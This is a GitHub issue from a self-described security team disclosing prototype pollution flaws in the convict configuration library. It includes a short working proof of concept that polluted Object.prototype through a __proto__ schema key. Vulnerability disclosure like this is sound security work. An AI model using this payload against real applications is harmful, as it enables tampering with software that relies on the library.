Skip to content

convict Prototype Pollution Vulnerability Report #426

Description

@dfzysmy2tf-create

hi, we are a security team. We found a Prototype Pollution vulnerability in your project.
Vulnerability Description
The convict configuration management library contains three distinct prototype pollution vulnerabilities in schema parsing, flattening, and constructor initialization. All allow attackers to pollute Object.prototype.
TP0001
Confidence: High
Location: package/package/src/main.js:230
Root Cause: The library parses a user‑controlled schema and uses proto as a key to perform dynamic property writes to the prototype chain.
POC:

const lib = require('convict');
lib(JSON.parse('{"__proto__": {"polluted": true}}'), {});
console.log({}.polluted); // true
Verification Output: [CASE_ID=TP0001] [VULN_BOTH] Multi-step load then validate triggers schema processing sink

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Fields

    Priority

    None yet

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions